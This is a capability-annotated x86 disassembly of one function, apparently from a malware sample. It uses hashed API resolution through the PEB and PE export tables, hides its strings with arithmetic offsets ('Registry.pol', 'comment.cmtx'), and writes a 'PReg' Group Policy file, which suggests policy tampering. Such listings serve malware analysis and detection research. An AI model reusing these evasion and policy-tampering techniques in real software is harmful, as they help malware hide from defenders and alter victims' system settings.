Function at 0x447ff0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x34], 0
or edi, 0xffffffff
mov dword [ebp - 0x2c], 0
mov ecx, 0x800
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0
or ebx, edi
mov dword [ebp - 0x40], 0
call fcn.004baba0
mov dword [ebp - 0x10], eax
test eax, eax
je 0x448e4e
mov ecx, 0x800
call fcn.004baba0
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x448e3c
mov eax, dword [esi]
push 0x400
push dword [ebp - 0x10]
push 2
push esi
call dword [eax + 0x38]
mov esi, dword [ebp - 0x10]
test eax, eax
js 0x448e50
mov edx, dword [ebp - 0x2c]
mov ecx, esi
sub edx, esi
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x448072
mov eax, 0x58
mov word [ebp - 0x74], ax
mov eax, 0x6b
mov word [ebp - 0x72], ax
mov eax, 0x6d
mov word [ebp - 0x70], ax
mov eax, 0x6f
mov word [ebp - 0x6e], ax
mov eax, 0x79
mov word [ebp - 0x6c], ax
mov eax, 0x7a
mov word [ebp - 0x6a], ax
mov eax, 0x78
mov word [ebp - 0x68], ax
mov eax, 0x7f
mov word [ebp - 0x66], ax
mov eax, 0x34
mov word [ebp - 0x64], ax
mov eax, 0x76
mov word [ebp - 0x62], ax
mov eax, 0x75
mov word [ebp - 0x60], ax
mov eax, 0x72
mov word [ebp - 0x5e], ax
mov eax, 6
mov word [ebp - 0x5c], ax
movzx eax, word [0x402f4e]
add eax, 6
mov word [ebp - 0x5a], ax
movzx eax, word [0x402f50]
add eax, 6
mov word [ebp - 0x58], ax
movzx eax, word [0x402f52]
add eax, 6
mov word [ebp - 0x56], ax
movzx eax, word [0x402f54]
add eax, 6
mov word [ebp - 0x54], ax
movzx eax, word [0x402f56]
add eax, 6
mov word [ebp - 0x52], ax
movzx eax, word [0x402f58]
add eax, 6
mov word [ebp - 0x50], ax
movzx eax, word [0x402f5a]
add eax, 6
mov word [ebp - 0x4e], ax
movzx eax, word [0x402f5c]
add eax, 6
mov word [ebp - 0x4c], ax
movzx eax, word [0x402f5e]
add eax, 6
mov word [ebp - 0x4a], ax
movzx eax, word [0x402f60]
add eax, 6
mov word [ebp - 0x48], ax
movzx eax, word [0x402f62]
add eax, 6
mov word [ebp - 0x46], ax
movzx eax, word [0x402f64]
add eax, 6
mov word [ebp - 0x44], ax
xor eax, eax
mov word [ebp - 0x42], ax
xor ecx, ecx
mov ax, word [ebp - 0x74]
nop dword [eax + eax]
mov ax, word [ebp + ecx*2 - 0x74]
movzx eax, ax
add eax, 0xfffffffa
mov word [ebp + ecx*2 - 0x74], ax
inc ecx
cmp ecx, 0x19
jb 0x4481b0
lea eax, [ebp - 0x74]
push eax
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
call esi
test eax, eax
je 0x448e3c
mov eax, 0x6b
mov edx, 0x75
mov word [ebp - 0xa8], ax
mov ecx, 0x7c
mov eax, 0x77
mov word [ebp - 0xa6], ax
mov eax, 0x6d
mov word [ebp - 0xa4], dx
mov word [ebp - 0xa2], dx
mov word [ebp - 0xa0], ax
mov eax, 0x76
mov word [ebp - 0x9e], ax
mov eax, 0x36
mov word [ebp - 0x9c], cx
mov word [ebp - 0x9a], ax
mov eax, 0x6b
mov word [ebp - 0x98], ax
mov eax, 0x80
mov word [ebp - 0x96], dx
mov word [ebp - 0x94], cx
mov word [ebp - 0x92], ax
mov eax, 8
mov word [ebp - 0x90], ax
movzx eax, word [0x402f6a]
add eax, 8
mov word [ebp - 0x8e], ax
movzx eax, word [0x402f6c]
add eax, 8
mov word [ebp - 0x8c], ax
movzx eax, word [0x402f6e]
add eax, 8
mov word [ebp - 0x8a], ax
movzx eax, word [0x402f70]
add eax, 8
mov word [ebp - 0x88], ax
movzx eax, word [0x402f72]
add eax, 8
mov word [ebp - 0x86], ax
movzx eax, word [0x402f74]
add eax, 8
mov word [ebp - 0x84], ax
movzx eax, word [0x402f76]
add eax, 8
mov word [ebp - 0x82], ax
movzx eax, word [0x402f78]
add eax, 8
mov word [ebp - 0x80], ax
movzx eax, word [0x402f7a]
add eax, 8
mov word [ebp - 0x7e], ax
movzx eax, word [0x402f7c]
add eax, 8
mov word [ebp - 0x7c], ax
movzx eax, word [0x402f7e]
add eax, 8
mov word [ebp - 0x7a], ax
movzx eax, word [0x402f80]
add eax, 8
mov word [ebp - 0x78], ax
xor eax, eax
mov word [ebp - 0x76], ax
xor ecx, ecx
mov ax, word [ebp - 0xa8]
nop dword [eax]
nop dword [eax + eax]
mov ax, word [ebp + ecx*2 - 0xa8]
movzx eax, ax
add eax, 0xfffffff8
mov word [ebp + ecx*2 - 0xa8], ax
inc ecx
cmp ecx, 0x19
jb 0x448340
lea eax, [ebp - 0xa8]
push eax
push dword [ebp - 0x2c]
call esi
test eax, eax
je 0x448e3c
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x448405
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x1c], eax
mov edx, eax
mov dword [ebp - 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 4], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4483ec
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 4]
imul eax, eax, 0x1000193
mov dword [ebp - 4], eax
cmp edi, ebx
jne 0x4483b4
cmp eax, 0xa3e6f6c3
je 0x448d1e
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0xc], ecx
cmp eax, edx
je 0x4483fd
cmp dword [ecx + 0x18], 0
jne 0x448396
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f0810]
test eax, eax
jne 0x4484a2
test ebx, ebx
je 0x44849b
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x20], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x44849b
xor ecx, ecx
mov dword [ebp - 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x44849b
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 4], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x448489
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x448454
mov ecx, dword [ebp - 0xc]
cmp edi, 0xe95da064
je 0x448d29
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
inc ecx
add eax, 4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], eax
cmp ecx, dword [edx + 0x18]
jne 0x448444
xor eax, eax
mov dword [0x4f0810], eax
mov esi, dword [ebp - 0x10]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push esi
call eax
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, 0xffffffff
je 0x448e49
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x448561
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 0xc], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 4], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x448548
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 4]
imul eax, eax, 0x1000193
mov dword [ebp - 4], eax
cmp edi, ebx
jne 0x448510
cmp eax, 0xa3e6f6c3
je 0x448d46
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0xc], ecx
cmp eax, edx
je 0x448559
cmp dword [ecx + 0x18], 0
jne 0x4484f0
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f0810]
test eax, eax
jne 0x4485fe
test ebx, ebx
je 0x4485f7
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x20], eax
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4485f7
xor ecx, ecx
mov dword [ebp - 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x4485f7
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 8], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4485e5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4485b0
mov ecx, dword [ebp - 0xc]
cmp edi, 0xe95da064
je 0x448d51
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
cmp ecx, dword [edx + 0x18]
jne 0x4485a0
xor eax, eax
mov dword [0x4f0810], eax
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x2c]
call eax
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, 0xffffffff
je 0x448e39
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x4486c1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4486a8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x448670
cmp eax, 0xa3e6f6c3
je 0x448d6e
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x4486b9
cmp dword [ecx + 0x18], 0
jne 0x448650
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f0778]
test eax, eax
jne 0x44875e
test ebx, ebx
je 0x448757
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x20], eax
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x448757
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x448757
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x448745
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x448710
mov ecx, dword [ebp - 4]
cmp edi, 0x84aec1ca
je 0x448d79
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x448700
xor eax, eax
mov dword [0x4f0778], eax
mov edi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x40]
push 0
push ecx
push 0x69c
push str.PReg
push edi
call eax
test eax, eax
je 0x448e41
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x448811
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4487f8
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x14]
imul eax, eax, 0x1000193
mov dword [ebp - 0x14], eax
cmp edi, ebx
jne 0x4487c0
cmp eax, 0xa3e6f6c3
je 0x448d96
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x448809
cmp dword [ecx + 0x18], 0
jne 0x4487a2
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f0778]
test eax, eax
jne 0x4488b2
test ebx, ebx
je 0x4488ab
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x20], eax
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x4488ab
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x4488ab
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x448899
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x448864
mov ecx, dword [ebp - 4]
cmp edi, 0x84aec1ca
je 0x448da1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x448854
xor eax, eax
mov dword [0x4f0778], eax
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x40]
push 0
push ecx
push 3
push 0x4e1ccc
push ebx
call eax
test eax, eax
je 0x448e39
lea eax, [ebp - 0x28]
push eax
push 0x185
push 0x4e1cd0
call fcn.00457d40
test eax, eax
je 0x448e39
mov ecx, dword [ebp - 0x28]
call fcn.004bb100
mov ebx, dword [0x4f081c]
mov dword [ebp - 0x38], eax
test ebx, ebx
jne 0x448991
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x448978
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x14]
imul eax, eax, 0x1000193
mov dword [ebp - 0x14], eax
cmp edi, ebx
jne 0x448940
cmp eax, 0xa3e6f6c3
je 0x448dbe
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x448989
cmp dword [ecx + 0x18], 0
jne 0x448920
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f07a8]
test eax, eax
jne 0x448a32
test ebx, ebx
je 0x448a2b
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x20], eax
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x448a2b
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x448a2b
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x448a19
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4489e4
mov ecx, dword [ebp - 4]
cmp edi, 0xa83e21de
je 0x448dc9
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x4489d4
xor eax, eax
mov dword [0x4f07a8], eax
push 0
push 0
push 0
push 0
push dword [ebp - 0x38]
push dword [ebp - 0x28]
push 0
push 0
call eax
mov dword [ebp - 0x20], eax
test eax, eax
jle 0x448e36
mov ecx, eax
call fcn.004baba0
mov dword [ebp - 0x34], eax
test eax, eax
je 0x448e36
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x448b01
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop word [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x448ae8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x14]
imul eax, eax, 0x1000193
mov dword [ebp - 0x14], eax
cmp edi, ebx
jne 0x448ab0
cmp eax, 0xa3e6f6c3
je 0x448de6
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x448af9
cmp dword [ecx + 0x18], 0
jne 0x448a90
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f07a8]
test eax, eax
jne 0x448ba2
test ebx, ebx
je 0x448b9b
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x14], eax
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x448b9b
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x448b9b
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x448b89
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x448b54
mov ecx, dword [ebp - 4]
cmp edi, 0xa83e21de
je 0x448df1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x448b44
xor eax, eax
mov dword [0x4f07a8], eax
push 0
push 0
push dword [ebp - 0x20]
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push dword [ebp - 0x28]
push 0
push 0
call eax
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x448c51
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x38], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x448c38
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x38]
imul eax, eax, 0x1000193
mov dword [ebp - 0x38], eax
cmp edi, ebx
jne 0x448c00
cmp eax, 0xa3e6f6c3
je 0x448e0e
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x448c49
cmp dword [ecx + 0x18], 0
jne 0x448be0
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f0778]
test eax, eax
jne 0x448cf2
test ebx, ebx
je 0x448ceb
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x38], eax
lea eax, [ebx + ecx]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x448ceb
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x448ceb
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x38], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x448cd9
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x448ca4
mov ecx, dword [ebp - 4]
cmp edi, 0x84aec1ca
je 0x448e19
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x14]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x38], eax
cmp ecx, dword [edx + 0x18]
jne 0x448c94
xor eax, eax
mov dword [0x4f0778], eax
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x40]
push 0
push ecx
push dword [ebp - 0x20]
push dword [ebp - 0x34]
push ebx
call eax
mov edi, dword [ebp - 0x1c]
xor ecx, ecx
mov esi, dword [ebp - 0x10]
test eax, eax
mov edx, 1
cmovne ecx, edx
mov dword [ebp - 0x30], ecx
jmp 0x448e50
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4483ff
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x44849d
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x44855b
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4485f9
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x4486bb
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x448759
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x44880b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4488ad
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x44898b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x448a2d
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x448afb
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x448b9d
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x448c4b
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x448ced
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x10]
jmp 0x448e50
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
jmp 0x448e50
or ebx, 0xffffffff
jmp 0x448e50
mov esi, eax
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x448e5c
call fcn.004bb000
test esi, esi
je 0x448e67
mov ecx, esi
call fcn.004bb000
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x448e75
mov ecx, eax
call fcn.004bb000
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x448e83
mov ecx, eax
call fcn.004bb000
cmp edi, 0xffffffff
je 0x448e90
push edi
call fcn.00411310
call eax
cmp ebx, 0xffffffff
je 0x448e9d
push ebx
call fcn.00411310
call eax
mov eax, dword [ebp - 0x30]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret